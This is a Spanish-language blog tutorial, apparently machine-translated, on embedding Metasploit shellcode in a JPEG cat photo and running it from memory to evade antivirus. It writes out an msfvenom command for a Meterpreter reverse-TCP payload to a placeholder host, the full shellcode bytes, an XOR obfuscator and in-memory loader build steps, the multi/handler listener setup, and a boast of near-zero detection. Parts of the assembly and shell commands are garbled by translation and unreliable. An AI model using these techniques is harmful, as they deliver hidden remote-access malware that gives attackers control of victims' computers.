Análisis de malware
Lanzamiento de Shellcode desde Cat Pictures
marzo 24, por Krist Rash
¡Todos sabemos que Internet ama a los gatos! Estaba pensando en cómo podemos combinar gatos y malware. ¡Entonces me llamó la atención!
De vez en cuando veo un método particular de ejecución de código que incluye algún archivo ejecutable y una imagen. Por lo general, veré que el programa descargará el archivo de imagen y luego lo convertirá a .exe y lo ejecutará. Creo que este método es algo descuidado y se puede mejorar de alguna manera.
Una de ellas es que el archivo toca el disco y se vuelve inspeccionable para el antivirus. Para solucionar esto, puede iniciarlo en la memoria. Sin embargo, tendrá otro problema: la mayoría de los virus son ejecutables y eso significa que tendrá que arreglar el IAT y otras cosas en el ejecutable, ya que se cargará en un espacio de direcciones compartido con otro programa.
Un método que sugiero aquí es que incorporemos el código de shell en una imagen y hagamos que nuestro programa asigne espacio de almacenamiento dinámico, descargue la imagen y ejecute el código de shell dentro de la imagen.
Como se mencionó anteriormente, está en la memoria y no se analizará tan fácilmente. Para este escenario, usaremos un archivo.JPG, aunque en realidad cualquier cosa servirá.
Cosas que necesitarás:
Sistema operativo Windows
herramientas linux
Conocimientos de montaje.
Conocimientos básicos de la generación de carga útil de MSFVenom.
Editor hexadecimal ( WxEditor hexadecimal )
GCC instalado y agregado en $PATH (viene con bloques de código)
Nasm ( directorio de instalación del ensamblador de Nasm )
Nasm añadido a $PATH
Opcional:
Ollydbg( OllyDbg ) o x64dbg( x64dbg )
Alguna forma de convertir instrucciones ASM en códigos de operación, uso lo siguiente
Complemento ensamblador MultiLine Ultimate de Ram Michael ( complemento MUA )
Explicación general de cómo se conesto:
Dado que el flujo de un ejecutable siempre sigue instrucciones de arriba a abajo, necesitaremos ser creativos a la hora de ejecutar nuestra carga útil en la memoria. Porque cuando descargas un archivo a través de HTTP, tendrás la respuesta seguida del archivo que se descargó. Además, debido a que la respuesta está en la parte superior y varía en tamaño, resulta difícil predecir dónde tendremos que saltar para ejecutarla. Entonces, lo que podemos hacer para solucionar esto es colocar nuestra carga útil en la parte inferior de la imagen, luego copiar la parte inferior en otro espacio del montón y luego saltar a ella. Se verá algo como esto.
Un ejemplo de cómo debería verse nuestra imagen con la carga útil insertada en la imagen.
Encabezado de imagen JPEG → FF D8 FF E0 00 10
JFIF ASCII → 4A 46 49 46
Bytes…
Bytes…
Fin de nuestra carga útil → CC CC CC CC
Mitad de la carga útil → BB BB BB BB
Inicio de la carga útil → AA AA AA AA
Por supuesto, debemos asignar la necesidad de saltar al AA AA AA AA en la carga útil y, por lo tanto, invertirlo. Para hacer esto, copiamos esto en otro lugar. Para que se vea así.
Inicio de la carga útil → AA AA AA AA
Mitad de la carga útil → BB BB BB BB
Fin de nuestra carga útil → CC CC CC CC
Una vez hecho esto, podemos saltar a esto y ejecutarlo sin problema.
Para este ejemplo, escribí mi propio ofuscador barato y hice XOR en los bytes que XOR devolveremos y ejecutaremos mi código a través del ofuscador.
Para explicarlo con más detalle, mi ofuscador Lazy BitMask Encoder simplemente toma la carga útil y la divide en PALABRAS y luego agrega FFFF al frente. Luego eliminará el FFFF (usando matemáticas bit a bit), luego moverá la PALABRA a la primera parte de DWORD, luego moverá la otra PALABRA. Entonces se parece a esto.
Mover eax, FFFFAABB; Mueve ese valor a EAX.
Y por favor, FFFF; Se eliminó el FFFF en el frente.
Mov ebx, FFFFCCDD; Mueve ese valor a EBX
Mov hacha, bx; Hace que EAX parezca AABBCCDD
Empuje eax; Lo empuja a la pila. Al final agrega
Jmp especialmente; Salta a donde está nuestra carga útil en la pila y la ejecuta.
He agregado algunas partes XORing al codificador/decodificador, pero esto es solo para mayor ofuscación. Si hay alguna confusión, lea el código y siempre podrá pegar el resultado que proporciona en un binario y ver qué hace usted mismo.
Pongámonos a trabajar:
Comencemos generando una carga útil simple con MSFVENOM . Por supuesto, necesitará cambiar LPORT y LHOST para satisfacer sus necesidades.
msfvenom -a x86 –plataforma windows -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=5555 -fc
Esto es lo que generará: pondré en negrita la IP en caso de que desee realizar un cambio simple (usando esta herramienta IP/Hex Converter ).
“xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30”
“x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff”
“xacx3cx61x7cx02x2cx1xcfx0dx01xc7xe2xf2x52”
“x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1”
“x51x8bx59x1xd3x8bx49x18xe3x3ax49x8bx34x8b”
“x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03”
“x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b”
“x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24”
“x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb”
“x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c”
“x77x26x07xffxd5xb8x90x01x00x00x29xc4x54x50x68”
“x29x80x6bx00xffxd5x6ax05x68 x01x02x03x04 x68x02″
“x00x15xb3x89xe6x50x50x50x50x40x50x40x50x68xea”
“x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61”
“xffxd5x85xc0x74x0axffx4ex08x75xecxe8x61x00x00”
“x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83”
“xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a”
“x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57”
“x68x02xd9xc8x5fxffxd5x83xf8x00x7dx22x58x68x00”
“x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68”
“x75x6ex4dx61xffxd5x5ex5exffx0cx24xe9x71xffxff”
“xffx01xc3x29xc6x75xc7xc3xbbxf0xb5xa2x56x6ax00”
“x53xffxd5”;
Así que tomemos esto y pasémoslo a través de mi Lazy BitMask Encoder . Pegue su código shell en el lugar ” “SHELLCODE VA AQUÍ” “. Para usar esto, será necesario que lo compiles y simplemente puedes hacerlo usando gcc.
Gcc -std=c11 LazyBitmaskEncoder.c -o encoder.exe
Y luego redirija la salida a un archivo.
codificador.exe algún archivo.txt
Luego ejecútelo para obtener su resultado. En mi caso, tengo un byte extra que es 31. Mi programa advierte que lo convierta en un byte XOR Nop, en este caso, era 7E. Al igual que…
Ahora sólo necesitamos los bytes de esto. Es posible que haya una herramienta en línea que convierta el ensamblado a código de bytes o en otro lugar. Simplemente tiendo a usar el complemento MUA de Ram Michael en OllyDbg o X64dbg para pegar las instrucciones en binario y luego copiar los bytes. Imagen debajo
Luego podemos copiar los bytes resaltándolos y haciendo clic derecho – Editar – Copia binaria. Alternativamente, puede simplemente presionar CTRL+ INSERTAR
Ahora necesitamos poner estos bytes en la parte inferior de una imagen. Si viste el diagrama en la parte superior, debemos colocarlos en la imagen en orden inverso. Por suerte, en Linux esto es muy sencillo de hacer.
Aquí hay una imagen antes de que se inviertan los bytes.
Pegué esto en un archivo (llamé al mío ‘moo’). Al ejecutar esto podemos obtener el orden correcto que necesitamos.
Podemos ejecutar este comando para invertir el orden de los bytes en el orden correcto.
para i en `cat moo`; hacer echo $i;hecho| tac |sed ‘:a;N;$!ba;s/n/ /g’
Ahora solo necesitamos insertarlos en una imagen para ocultarlos. Toma tu foto de gato favorita. Elijo este gato siamés para esta demostración. Realmente no veremos al gato ya que vivirá en la memoria. ¡¿No parece malicioso?!
De acuerdo. Ahora copiemos el código shell en la imagen. Sólo necesitamos abrir esto usando WxHexEditor y copiar los bytes en la imagen. Lo que hay que recordar es que queremos que los bytes estén en la parte inferior. Si no lo tiene exactamente en la parte inferior, deberá agregar 0x90 hasta que se inicie su código shell.
Aquí es después de que pegamos los Bytes. Como puede ver, nuestro código de shell está en la parte inferior de la imagen. Una vez que guarde esto, verá que hay una pequeña distorsión de color en la parte inferior de la imagen.
Ahora la última parte. Sólo necesitamos poner esto en un servidor web y crear un programa simple que descargue la imagen en la memoria y luego salte a ella y ejecute este código shell. La forma más sencilla de lograr esto es en ensamblaje)))).
He escrito un programa en ensamblador que hará precisamente esto; GhostExe.asm . Para compilar esto, simplemente puedes ejecutar…
nasm -f win32 GhostExe.asm
gcc -fno-use-linker-plugin GhostExe.obj -o GhostExe.exe
Recomiendo abrir un depurador y adjuntarlo al proceso de apertura y seguirlo y verlo en acción para que pueda aprender.
Si elige depurar, al menos mire el programa GhostExe.exe en el desplazamiento 00401482 . Esto está justo después de la recv. Si observa el final de ECX, verá dónde se encuentra la carga útil de salida.
De lo contrario, simplemente configure Metasploit correctamente, ejecute el archivo ejecutable y déjelo ir.
msfusar exploit multi/handler
msfestablecer carga útil windows/meterpreter/reverse_tcp
msfestablecer lhost IP local
msfestablecer lport puerto local
msf establecer ExitOnSession falso
msfexplotar -j
Aquí están los resultados de NoDisstrubute.com: 1/35 es muy bueno para algo tan simple.
Hizo gatitos maliciosos – Krist
¡Lo siguiente será una toma de depuración!
Llegamos a JMP EAX: ¡aquí es donde saltaremos al código shell en nuestra imagen de gato!
¿Parecer familiar?
¡Nuestra carga útil original!
¡Conviértete en un ingeniero inverso certificado!
Obtenga capacitación práctica en vivo sobre análisis de malware desde cualquier lugar y conviértase en un analista certificado de ingeniería inversa. Comienza a aprender